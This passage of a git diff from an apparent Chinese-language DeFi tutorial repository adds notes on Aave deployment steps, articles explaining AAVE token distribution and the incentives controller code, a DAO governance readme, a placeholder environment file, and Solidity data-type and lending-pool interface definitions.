+   - 同一个网络上可能存在多个市场(`market`)，例如以太坊主网上就有 [MAIN Market](https://docs.aave.com/developers/deployed-contracts/deployed-contracts) 和 [AMM Market](https://docs.aave.com/developers/deployed-contracts/amm-market)，他们分别都有一个 provier 合约，所以需要 `ProviderRegistry` 合约
+1. 部署当前市场的 `LendingPoolAddressesProvider` 合约
+   - 以指定的 `MarketId` 初始化
+   - 调用 `ProviderRegistry.registerAddressesProvider()` 方法，将部署好的 provider 合约地址注册入 ProviderRegistry
+   - 设置 provider 合约的池子管理员和紧急管理员 `setPoolAdmin`, `setEmergencyAdmin`。池子管理员设置池子相关参数，紧急管理员可以暂定池子的对外接口（抵押赎回借贷等）。
+2. 部署 `LendingPool`, `LendingPoolConfigurator`, `StableAndVariableTokensHelper`, `ATokensAndRatesHelper`
+   - 部署相关 libraries 依赖合约
+   - 部署 `LendingPool` 池子合约，并以 `Provider` 合约地址初始化，将其地址注册到 `Provider` 合约
+   - 部署 `LendingPoolConfigurator` 合约，将其地址注册到 `Provider` 合约
+   - 部署 `StableAndVariableTokensHelper` 合约，将其地址注册到 `Provider` 合约
+   - 部署 `ATokensAndRatesHelper` 合约，将其地址注册到 `Provider` 合约
+3. 部署 `Oracle` 预言机相关合约（价格和利率）
+   - 部署 `AaveOracle` 合约，该合约主要是连接外部预言机（ChainLink）的聚合器，为协议提供一个查询不同资产价格的入口，将其地址注册到 `Provider` 合约
+   - 部署 `LendingRateOracle` 合约，该合约主要为协议提供一个设定和查询不同资产借贷利率的入口，将其地址注册到 `Provider` 合约
+4. 部署 `AaveProtocolDataProvider` 合约，以 `Provider` 地址初始化，主要向外部提供协议内的资产数据，将其地址注册到 `Provider`
+5. 部署 `WETHGateway` 合约
+6. 批量部署资产列表中每一个资产对应的 `AToken`, `StableDebtToken`, `VariableDebtToken`, 并初始化配置
+   - 组装各个资产对应的初始化参数，并提前部署对应的 `DefaultReserveInterestRateStrategy` 默认的利率更新策略合约
+   - 通过 `LendingPoolConfigurator` 合约批量部署每种资产对应的三种 token 的合约（proxy）
+   - 调用所有 token 的 initialize 方法进行初始化
+   - 部署 `LendingPoolCollateralManager` 合约，将其地址注册到 `Provider`
diff --git a/defi/Aave/dao/AAVE Distribute Mechanism.md b/defi/Aave/dao/AAVE Distribute Mechanism.md
new file mode 100644
index 000000000..7fd32dbeb
--- /dev/null
+++ b/defi/Aave/dao/AAVE Distribute Mechanism.md	
@@ -0,0 +1,44 @@
+# AAVE Distribute Mechanism
+
+## WHAT IS AAVE
+
+> The native asset of the Aave ecosystem, which constitutes the foundation of governance and safety for the Aave Protocol.
+
+AAVE是由Aave平台发布的平台管理代币，持有者可以使用AAVE发起AIP,投票等参与到社区的政策管理中。
+
+## WHAT AAVE CAN DO
+
+根据Aave的AAVENOMICS，AAVE主要有两个功能：
+
+1. 发起倡议并投票。AAVE的持有者可以参与Aave平台的政策管理。持有者可以在AAVE论坛提出自己的 [Aave Request for Comments (ARC)](https://governance.aave.com/)，然后进一步在 [Aave Snapshot](https://snapshot.org/#/aave.eth) 上进一步和社区分享，争取投票。在取得一定共识后通过 [Aave Improvement Proposal (AIP)](https://docs.aave.com/governance/aips) 的方式发起投票。提案根据影响范围可以分为两种，一种是关乎整个协议的，另一种是只关乎单个资金池。
+
+2. 保障协议，抵御攻击。在Aave的风险管理中，AAVE持有者可以将AAVE质押在Safe Module中，保障协议遇到 [Short Fall Event](https://docs.aave.com/aavenomics/safety-module#shortfall-events) 时可以通过出售AAVE的方式抵抗攻击，具体可以看 [Safe Module](https://docs.aave.com/aavenomics/safety-module)。作为回报，Aave会以协议的交易费或AAVE的方式发放给质押者。
+
+## HOW Aave DISTRIBUTE AAVE
+
+目前AAVE的总量在16M。
+1. 13M将会被LEND持有者以100:1的兑换率换取AAVE，从而促进用户从AAVE V1转移到AAVE V2。
+
+2. 3M的AAVE将会存储在 [Aave Reserve](https://etherscan.io/address/0x25f2226b597e8f9514b3f68f00f494cf4f286491)。其中部分AAVE会存放在Safe Module中保障协议。剩余部分将会当作Ecosystem Incentives奖励给参与市场的流动性提供者以及借贷人，从2021年开始，Aave社区通过了几个称为 liquidity mining program 的协议，主要目的是促使Aave v1的用户转移到V2。根据通过几个的AIP协议，Aave Reserve将在一定时间内以 [stkAAVE](https://etherscan.io/token/0x4da27a545c0c5b758a6ba100e3a049001de870f5) 的形式按比例发放给在Ethereum Markert上的资产价值最高的几个市场，又根据每个市场的风险以不同的比例实际发放给市场借贷双方。相关的通过的协议包括:
+- [AIP-16](https://app.aave.com/governance/proposal/11/):自26/4/2021起3个月的时间内以每天2,200 stkAAVE的方式发放给几个市场中的借贷双方，其中稳定币市场是借贷双方平分，WETH和WBTC则是以95:5的比例分发给储户和借款人； 
+- [AIP-25](https://app.aave.com/governance/proposal/21/):在AIP-16的基础上延长四周；
+- [AIP-32](https://app.aave.com/governance/proposal/28/): 从24/8/2021开始，在此前的基础上，每日发放的stkAAVE减少9%，即每日发放2002枚stkAAVE，仍然发放3个月，增加了需要分发的token市场; 
+- [AIP-47](https://app.aave.com/governance/proposal/47/): 从22/11/2021开始，分发三个月，每日发放的stkAAVE减少为1540枚，增加BUSD,CRV,FRAX和DPI四个分发对象，去除UNI, GUSD; 在稳定币等低波动的资产上，AAVE的分发更倾向于借款人，储户和借款人的分发比例为1：2，高波动的资产则只发给储户;
+- [AIP-59](https://app.aave.com/governance/proposal/60/): 从21/2/2022开始，分发三个月；每日发放的stkAAVE减少到1078。
+
+## HOW liquidity mining program WORK
+
+在通过一个AIP提案决定分发后，在Incentives Controller中会记录每一个资产的`emissionPerSecond`，并且会记录每一个资产assetIndex，每一个用户userIndex已经累计的奖励，当每一次aToken/debt Token被minted/burn时都会触发一次incentive controller的handleAction(具体的代码定义在 [IncentiveERC20代码](https://github.com/aave/protocol-v2/blob/master/contracts/protocol/tokenization/IncentivizedERC20.sol)中)， handleAction会更新assetIndex和userIndex从而实现AAVE的分发。
+
+## 链上合约及代码
+
+目前已看见的好几个Aave Ethereum Mainnet资产如abusd，ausdc在链上的incentive controller都是[Incentives Controller Proxy](https://etherscan.io/address/0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5)，其实际的实现合约是 [Incentives Controller Impl](https://etherscan.io/address/0xd9ed413bcf58c266f95fe6ba63b13cf79299ce31)，Incentive Controller的合约代码是 [Incentives Controller Github](https://github.com/aave/incentives-controller)
+
+## 参考资料
+
+- [Aavenomics](https://docs.aave.com/aavenomics/)
+
+- [Aave Governance](https://app.aave.com/governance/)
+
+- [Aave Governance Forum](https://governance.aave.com/c/governance/4)
+
diff --git a/defi/Aave/dao/AAVE Distribution Code.md b/defi/Aave/dao/AAVE Distribution Code.md
new file mode 100644
index 000000000..875228dfd
--- /dev/null
+++ b/defi/Aave/dao/AAVE Distribution Code.md	
@@ -0,0 +1,167 @@
+# HOW AAVE DISTRIBUTION CODE ANALYSIS
+
+Aave的平台币AAVE的分发机制已经在之前的[文章](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Aave/dao/AAVE%20Distribute%20Mechanism.md)讲述过，因此本文章主要讲解一下Aave是如何实现这一分发机制的。
+
+在[官方文档](https://github.com/aave/incentives-controller)描写中
+>  On `handleAction()`, that is triggered whenever an aToken/debt Token is minted/burned by a user, the `userIndex` and the `assetIndex` are accumulated depending on the time passed since the last action
+
+指明每当aToken或者debt Token的mint/burn操作是，触发一次IncentiveController的`handleAction()`，来进行更新用户的index和assetIndex。因此在这篇文章中，就在代码的层面，分析一下Aave如何计算每个asset的分发量和更新用户的应得利益。方便以后更多人在分发平台币，分发奖励时可以更好参考Aave的设计，计算用户的收益。
+
+在了解具体的代码前，需要明确该合约中的几个变量的定义
+- asset指的是在Aave中aToken，而非的underlying。
+- totalSupply/totalStaked是atoken/debt token的totalSupply,而非Aave的totalSupply
+- stakedByUser指的是用户的atoken/debt token的持有量，而非质押资产的持有量。
+
+在IncentiveController的代码中，StakedTokenIncentivesController是继承自BaseIncentivesController，BaseIncentivesController则是主要继承DistributionManager以及使用IAaveIncentivesController来定义接口。因此本文将从DistributionManager开始了解，从上到下的了解如何实现AAVE分发。
+
+## DistributionManager
+
+DistributionManager合约主要的作用是记录各个lending pool中对应的分发参数，以及对应lending pool中用户的应发奖励。因此在[DistributionManager](https://github.com/aave/incentives-controller/blob/master/contracts/incentives/base/DistributionManager.sol)的代码中，AssetData就是最主要的数据结构。
+
+```
+struct AssetData {
+    uint104 emissionPerSecond;
+    uint104 index;
+    uint40 lastUpdateTimestamp;
+    mapping(address => uint256) users;
+}
+```
+
+其中包括每秒应该分发的AAVE奖励，指数，上次更新的时间，以及记录每个用户的未提取收益。在DistributionManager中最重要的功能就是如何更新各类asse的分发情况，也就是_updateAssetStateInternal函数，以及各个用户的收益情况，即_updateUserAssetInternal函数。
+
+### _updateAssetStateInternal
+
+_updateAssetStateInternal负责更新一个asset在当前时间点累计的供应量单位收益。
+
+```
+function _updateAssetStateInternal(
+    address asset,
+    AssetData storage assetConfig,
+    uint256 totalStaked
+  )
+```
+
+在这个函数中，主要的处理逻辑是
+1. 首先将asset对应的AssetData中的变量从stroage中提出来，赋值给在memory中的变量，避免后续需要多次读取stroage变量导致的gas费提高。
+2. 检查当前的时间节点是否需要更新
+3. 根据当前的指数，每秒分发量，时间累计以及asset中总的aToken供应量计算新的index
+4. 确保计算出的index不会存在overflow或者没有更新的情况，并将更新值重新存储会存在与storage的AssetData
+
+> 在函数中，使用storage而非memory传递参数是因为需要将更新后的变量存储回处于stroage层的合约的状态变量中。
+
+### _getAssetIndex
+
+在_updateAssetStateInternal中使用_getAssetIndex函数来负责计算lending pool的index。
+
+```
+function _getAssetIndex(
+    uint256 currentIndex,
+    uint256 emissionPerSecond,
+    uint128 lastUpdateTimestamp,
+    uint256 totalBalance
+  )
+```
+
+主要的逻辑顺序是
+1. 检查各类参数是否有设置，设置是否正确。
+2. 当前是否处于分发的期限。
+3. 计算当前时间离上次更新的时间间隔timeDelat(以秒做单位)
+4. index的计算公式为`currentIndex + ((emissionPerSecond * timeDelta * 1e18) / totalSupply)`。该公式是累计的。从公式可见，index是计算在一段时间内，asset的总的供应量每单位可以分得多少的AAVE。
+
+### _updateUserAssetInternal
+
+_updateUserAssetInternal负责记录一个用户应该得到的收益。
+
+```
+function _updateUserAssetInternal(
+    address user,
+    address asset,
+    uint256 stakedByUser,
+    uint256 totalStaked
+)
+```
+
+主要的执行逻辑是
+1. 将asset的assetData以及用户的userindex从storage中读取出来
+2. 更新当前asset的index
+3. _getRewards计算用户从上一次更新后应得的收益
+4. 更新用户的userindex
+
+### _getRewards
+
+当计算出asset分发的index之后，就需要函数统计如何计算一个user应该分的AAVE。从asset index的更新我们可以看到他是以每单位的供应量来计算的，因此在计算用户可得的奖励时，公式为`stakeByUser * (asset index - userIndex) / 1e18`,即使用用户当前拥有的token量乘以在一段时间内积累的index值。因为asset index是累计的，因此在公式中的asset index - userIndex即自从上次更新后，用户在这段时间内应得的AAVE。相比于asset index，userIndex是代表用户当前已经计算过的asset index，每次计算成功后，就会与当前得asset index同步，因此两者其实本质上一样。
+
+```
+function _getRewards(
+    uint256 principalUserBalance,
+    uint256 reserveIndex,
+    uint256 userIndex
+)
+```
+
+### 小总结
+
+DistributionManager其余的函数其实是以上介绍的四个基本方法的组合，在了解如何更新，计算用户以及asset的index之后，剩余的就是接口函数，如计算用户的未声明收益，计算用户总的收益。
+
+## BaseIncentivesController
+
+在了解DistributionManager合约的计算方法后，IncentiveController的目的是利用index的计算来实现AAVE的分发逻辑。
+
+### handleAction
+
+在官方文档中，在每一次mint/burn的逻辑中都会调用`handleAction()`，因此我们首先介绍handleAction函数。
+
+```
+function handleAction(
+    address user,
+    uint256 totalSupply,
+    uint256 userBalance
+)
+```
+
+主要的逻辑是
+1. 利用asset是具体的msg.sender，调用_updateUserAssetInternal更新用户在过去时间中应得的收益。
+2. 将应得收益记录在mapping变量_usersUnclaimedRewards中
+
+> 这种利用变量_usersUnclaimedRewards实际记录用户未收取收益的方法，解释了为什么_updateUserAssetInternal中会直接更新userindex，而不是等到用户主动主张收益时才更新。
+
+### _claimRewards
+
+作为参与defi的奖励，平台币往往会根据用户的参与程度，抵押资产作为依据建立分发机制，但是由于EVM的gas机制以及mapping不可以预测元素数量的原因，合约难以遍历mapping所记录的用户，从而实现点对点的分发。因此，在分发AAVE时，Aave也是选择使用让用户主动发起交易声明所有权的方式来返还stkAAVE。在EVM机制没有进一步更新的情况，平台币的发放很可能也会按照该种模式。
+
+在Aave中，有很多的claimRewards函数的变形，但是最最核心的函数是_claimRewards。
+
+```
+function _claimRewards(
+    address[] calldata assets,
+    uint256 amount,
+    address claimer,
+    address user,
+    address to
+)
+```
+
+主要的执行过程是：
+1. 避免amount=0，即用户声明零收益
+2. 读取_usersUnclaimedRewards中记录的用户未收取收益
+3. 如果用户想申明的奖励数量多于记录中未收取收益，则进行第四步，否则跳转到第7步
+4. 获取在用户想要claim的assets数组中，asset的总供应量以及用户所持有的数量。
+5. 利用第三步获得的数据调用`DistributionManager._claimRewards()`,遍历并更新assets数组中asset对应的asset index以及用户在对应asset的userindex，得到在用户想要claim的assets数组范围中用户累计应得的奖励
+6. 如果用户确实有新的累计收益，添加到未收取收益中
+7. 计算后若用户没有未声明收益则返回0
+8. 若用户未声明的奖励满足函数参数amount，先更新用户的unclaimedRewards，然后转移奖励给用户
+
+## StakedTokenIncentivesController
+
+在了解BaseIncentivesController之后，Aave基本平台币分发代码逻辑就基本介绍完毕了。但是Aave，以平台的发展为本，不会直接将AAVE发放给用户，而是将其转移到Safe Moudle等AAVE的质押处，从而保证Aave协议。因此实际的奖励转移会调用AAVE的stake方法，因此用户得到的是stkAAVE。
+
+在StakedTokenIncentivesController中，主要是定义_transferRewards。利用stkAAVE的stake方法，将用户得到的AAVE转化为stkAAVE。
+
+在stkAAVE中，stake函数是mint出新的stkAAVE，然后msg.sender转账AAVE给stkAAVE的地址从而完成一次stake。在AAVE的分发中，当IncentivesController调用_transferRewards，即将自身拥有的AAVE转账给stkAAVE地址，然后发放stkAAVE给用户。
+
+## 参考资料
+
+[AAVE IncentiveController代码](https://github.com/aave/incentives-controller)
+
+[AAVE IncentiveController链上合约](https://etherscan.io/address/0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5#code)
+
diff --git a/defi/Aave/dao/readme.md b/defi/Aave/dao/readme.md
new file mode 100644
index 000000000..4e42a6bbf
--- /dev/null
+++ b/defi/Aave/dao/readme.md
@@ -0,0 +1,35 @@
+# AAVE DAO
+
+
+## 代币模型
+总共发行了 16,000,000 个 AAVE。13,000,000 AAVE 分配给用户，其余 3,000,000 AAVE 分配给生态系统储备。
+
+
+|  角色  | 	平均持币数量 | 比例 |
+| :-----:| ----: | :----: |
+| 项目方 | 416 | 26%   |
+| 散户 | 520 | 33%    |
+| 交易所| 264 | 17%    |
+| 合约+挖矿奖励 | 400 | 25% |
+
+## 提案流程
+
+要创建提案，提案人将首先通过在社区论坛上提交 Aave 评论请求 (ARC) 来衡量 Aave 社区的情绪。下一阶段需要根据最初在 Aave 社区论坛上提交的 ARC 反馈，创建 Aave 改进提案 (AIP)。
+
+（1）任何人都可以在治理论坛创建ARC提案，超过8万票算创建成功
+
+（2）提案创建成功之后至少需要32w的参与票才算有效，并且有超过50.25%以上的赞同票，提案才算通过。
+
+（3）ARC经过社区投票通过后，提交Aave Improvement Proposal (AIP提案)（ps：如果创建人自己拥有超过8w枚代币，就可以直接提交AIP提案）
+
+（4）一旦AIP被编写，需要提交github
+
+（5）AIP会列入官方治理模块，进入投票流程
+
+（6）通过投票的AIP开始自动执行和实现
+
+
+## 参考链接
+
+- defi dao总览： https://www.panewslab.com/zh/articledetails/N5101868.html
+- defi dao概览： http://www.xiaomiio.com/definft/7474.html
diff --git a/defi/Aave/graph/.env.example b/defi/Aave/graph/.env.example
new file mode 100644
index 000000000..f0520d69f
--- /dev/null
+++ b/defi/Aave/graph/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=XXX
+INFURA_ID=XXX
\ No newline at end of file
diff --git a/defi/Aave/graph/contracts/DataTypes.sol b/defi/Aave/graph/contracts/DataTypes.sol
new file mode 100644
index 000000000..222fd28a3
--- /dev/null
+++ b/defi/Aave/graph/contracts/DataTypes.sol
@@ -0,0 +1,48 @@
+pragma solidity 0.6.12;
+
+library DataTypes {
+  // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
+  struct ReserveData {
+    //stores the reserve configuration
+    ReserveConfigurationMap configuration;
+    //the liquidity index. Expressed in ray
+    uint128 liquidityIndex;
+    //variable borrow index. Expressed in ray
+    uint128 variableBorrowIndex;
+    //the current supply rate. Expressed in ray
+    uint128 currentLiquidityRate;
+    //the current variable borrow rate. Expressed in ray
+    uint128 currentVariableBorrowRate;
+    //the current stable borrow rate. Expressed in ray
+    uint128 currentStableBorrowRate;
+    uint40 lastUpdateTimestamp;
+    //tokens addresses
+    address aTokenAddress;
+    address stableDebtTokenAddress;
+    address variableDebtTokenAddress;
+    //address of the interest rate strategy
+    address interestRateStrategyAddress;
+    //the id of the reserve. Represents the position in the list of the active reserves
+    uint8 id;
+  }
+
+  struct ReserveConfigurationMap {
+    //bit 0-15: LTV
+    //bit 16-31: Liq. threshold
+    //bit 32-47: Liq. bonus
+    //bit 48-55: Decimals
+    //bit 56: Reserve is active
+    //bit 57: reserve is frozen
+    //bit 58: borrowing is enabled
+    //bit 59: stable rate borrowing enabled
+    //bit 60-63: reserved
+    //bit 64-79: reserve factor
+    uint256 data;
+  }
+
+  struct UserConfigurationMap {
+    uint256 data;
+  }
+
+  enum InterestRateMode {NONE, STABLE, VARIABLE}
+}
\ No newline at end of file
diff --git a/defi/Aave/graph/contracts/ILendingPool.sol b/defi/Aave/graph/contracts/ILendingPool.sol
new file mode 100644
index 000000000..575abcd11
--- /dev/null
+++ b/defi/Aave/graph/contracts/ILendingPool.sol
@@ -0,0 +1,410 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity 0.6.12;
+pragma experimental ABIEncoderV2;
+
+import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol';
+import {DataTypes} from './DataTypes.sol';
+
+interface ILendingPool {
+  /**
+   * @dev Emitted on deposit()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address initiating the deposit
+   * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens
+   * @param amount The amount deposited
+   * @param referral The referral code used
+   **/
+  event Deposit(
+    address indexed reserve,
+    address user,
+    address indexed onBehalfOf,
+    uint256 amount,
+    uint16 indexed referral
+  );
+
+  /**
+   * @dev Emitted on withdraw()
+   * @param reserve The address of the underlyng asset being withdrawn
+   * @param user The address initiating the withdrawal, owner of aTokens
+   * @param to Address that will receive the underlying
+   * @param amount The amount to be withdrawn
+   **/
+  event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount);
+
+  /**
+   * @dev Emitted on borrow() and flashLoan() when debt needs to be opened
+   * @param reserve The address of the underlying asset being borrowed
+   * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just
+   * initiator of the transaction on flashLoan()
+   * @param onBehalfOf The address that will be getting the debt
+   * @param amount The amount borrowed out
+   * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable
+   * @param borrowRate The numeric rate at which the user has borrowed
+   * @param referral The referral code used
+   **/
+  event Borrow(
+    address indexed reserve,
+    address user,
+    address indexed onBehalfOf,
+    uint256 amount,
+    uint256 borrowRateMode,
+    uint256 borrowRate,
+    uint16 indexed referral
+  );
+
+  /**
+   * @dev Emitted on repay()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The beneficiary of the repayment, getting his debt reduced
+   * @param repayer The address of the user initiating the repay(), providing the funds
+   * @param amount The amount repaid
+   **/
+  event Repay(
+    address indexed reserve,
+    address indexed user,
+    address indexed repayer,
+    uint256 amount
+  );
+
+  /**
+   * @dev Emitted on swapBorrowRateMode()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user swapping his rate mode
+   * @param rateMode The rate mode that the user wants to swap to
+   **/
+  event Swap(address indexed reserve, address indexed user, uint256 rateMode);
+
+  /**
+   * @dev Emitted on setUserUseReserveAsCollateral()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user enabling the usage as collateral
+   **/
+  event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
+
+  /**
+   * @dev Emitted on setUserUseReserveAsCollateral()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user enabling the usage as collateral
+   **/
+  event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
+
+  /**
+   * @dev Emitted on rebalanceStableBorrowRate()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user for which the rebalance has been executed
+   **/
+  event RebalanceStableBorrowRate(address indexed reserve, address indexed user);
+
+  /**
+   * @dev Emitted on flashLoan()
+   * @param target The address of the flash loan receiver contract
+   * @param initiator The address initiating the flash loan
+   * @param asset The address of the asset being flash borrowed
+   * @param amount The amount flash borrowed
+   * @param premium The fee flash borrowed
+   * @param referralCode The referral code used
+   **/
+  event FlashLoan(
+    address indexed target,
+    address indexed initiator,
+    address indexed asset,
+    uint256 amount,
+    uint256 premium,
+    uint16 referralCode
+  );
+
+  /**
+   * @dev Emitted when the pause is triggered.
+   */
+  event Paused();
+
+  /**
+   * @dev Emitted when the pause is lifted.
+   */
+  event Unpaused();
+
+  /**
+   * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via
+   * LendingPoolCollateral manager using a DELEGATECALL
+   * This allows to have the events in the generated ABI for LendingPool.
+   * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+   * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+   * @param user The address of the borrower getting liquidated
+   * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+   * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator
+   * @param liquidator The address of the liquidator
+   * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
+   * to receive the underlying collateral asset directly
+   **/
+  event LiquidationCall(
+    address indexed collateralAsset,
+    address indexed debtAsset,
+    address indexed user,
+    uint256 debtToCover,
+    uint256 liquidatedCollateralAmount,
+    address liquidator,
+    bool receiveAToken
+  );
+
+  /**
+   * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared
+   * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal,
+   * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it
+   * gets added to the LendingPool ABI
+   * @param reserve The address of the underlying asset of the reserve
+   * @param liquidityRate The new liquidity rate
+   * @param stableBorrowRate The new stable borrow rate
+   * @param variableBorrowRate The new variable borrow rate
+   * @param liquidityIndex The new liquidity index
+   * @param variableBorrowIndex The new variable borrow index
+   **/
+  event ReserveDataUpdated(
+    address indexed reserve,
+    uint256 liquidityRate,
+    uint256 stableBorrowRate,
+    uint256 variableBorrowRate,
+    uint256 liquidityIndex,
+    uint256 variableBorrowIndex
+  );
+
+  /**
+   * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
+   * - E.g. User deposits 100 USDC and gets in return 100 aUSDC
+   * @param asset The address of the underlying asset to deposit
+   * @param amount The amount to be deposited
+   * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
+   *   wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
+   *   is a different wallet
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   **/
+  function deposit(
+    address asset,
+    uint256 amount,
+    address onBehalfOf,
+    uint16 referralCode
+  ) external;
+
+  /**
+   * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
+   * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
+   * @param asset The address of the underlying asset to withdraw
+   * @param amount The underlying amount to be withdrawn
+   *   - Send the value type(uint256).max in order to withdraw the whole aToken balance
+   * @param to Address that will receive the underlying, same as msg.sender if the user
+   *   wants to receive it on his own wallet, or a different address if the beneficiary is a
+   *   different wallet
+   * @return The final amount withdrawn
+   **/
+  function withdraw(
+    address asset,
+    uint256 amount,
+    address to
+  ) external returns (uint256);
+
+  /**
+   * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
+   * already deposited enough collateral, or he was given enough allowance by a credit delegator on the
+   * corresponding debt token (StableDebtToken or VariableDebtToken)
+   * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
+   *   and 100 stable/variable debt tokens, depending on the `interestRateMode`
+   * @param asset The address of the underlying asset to borrow
+   * @param amount The amount to be borrowed
+   * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
+   * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
+   * if he has been given credit delegation allowance
+   **/
+  function borrow(
+    address asset,
+    uint256 amount,
+    uint256 interestRateMode,
+    uint16 referralCode,
+    address onBehalfOf
+  ) external;
+
+  /**
+   * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
+   * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
+   * @param asset The address of the borrowed underlying asset previously borrowed
+   * @param amount The amount to repay
+   * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
+   * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
+   * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
+   * user calling the function if he wants to reduce/remove his own debt, or the address of any other
+   * other borrower whose debt should be removed
+   * @return The final amount repaid
+   **/
+  function repay(
+    address asset,
+    uint256 amount,
+    uint256 rateMode,
+    address onBehalfOf
+  ) external returns (uint256);
+
+  /**
+   * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa
+   * @param asset The address of the underlying asset borrowed
+   * @param rateMode The rate mode that the user wants to swap to
+   **/
+  function swapBorrowRateMode(address asset, uint256 rateMode) external;
+
+  /**
+   * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
+   * - Users can be rebalanced if the following conditions are satisfied:
+   *     1. Usage ratio is above 95%
+   *     2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been
+   *        borrowed at a stable rate and depositors are not earning enough
+   * @param asset The address of the underlying asset borrowed
+   * @param user The address of the user to be rebalanced
+   **/
+  function rebalanceStableBorrowRate(address asset, address user) external;
+
+  /**
+   * @dev Allows depositors to enable/disable a specific deposited asset as collateral
+   * @param asset The address of the underlying asset deposited
+   * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
+   **/
+  function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
+
+  /**
+   * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
+   * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
+   *   a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
+   * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+   * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+   * @param user The address of the borrower getting liquidated
+   * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+   * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
+   * to receive the underlying collateral asset directly
+   **/
+  function liquidationCall(
+    address collateralAsset,
+    address debtAsset,
+    address user,
+    uint256 debtToCover,
+    bool receiveAToken
+  ) external;
+
+  /**
+   * @dev Allows smartcontracts to access the liquidity of the pool within one transaction,
+   * as long as the amount taken plus a fee is returned.
+   * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration.
+   * For further details please visit https://developers.aave.com
+   * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface
+   * @param assets The addresses of the assets being flash-borrowed
+   * @param amounts The amounts amounts being flash-borrowed
+   * @param modes Types of the debt to open if the flash loan is not returned:
+   *   0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
+   *   1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
+   *   2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
+   * @param onBehalfOf The address  that will receive the debt in the case of using on `modes` 1 or 2
+   * @param params Variadic packed params to pass to the receiver as extra information
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   **/
+  function flashLoan(
+    address receiverAddress,
+    address[] calldata assets,
+    uint256[] calldata amounts,
+    uint256[] calldata modes,
+    address onBehalfOf,
+    bytes calldata params,
+    uint16 referralCode
+  ) external;
+
+  /**
+   * @dev Returns the user account data across all the reserves
+   * @param user The address of the user
+   * @return totalCollateralETH the total collateral in ETH of the user
+   * @return totalDebtETH the total debt in ETH of the user
+   * @return availableBorrowsETH the borrowing power left of the user
+   * @return currentLiquidationThreshold the liquidation threshold of the user
+   * @return ltv the loan to value of the user
+   * @return healthFactor the current health factor of the user
+   **/
+  function getUserAccountData(address user)
+    external
+    view
+    returns (
+      uint256 totalCollateralETH,
+      uint256 totalDebtETH,
+      uint256 availableBorrowsETH,
+      uint256 currentLiquidationThreshold,
+      uint256 ltv,
+      uint256 healthFactor
+    );
+
+  function initReserve(
+    address reserve,
+    address aTokenAddress,
+    address stableDebtAddress,
+    address variableDebtAddress,
+    address interestRateStrategyAddress
+  ) external;
+
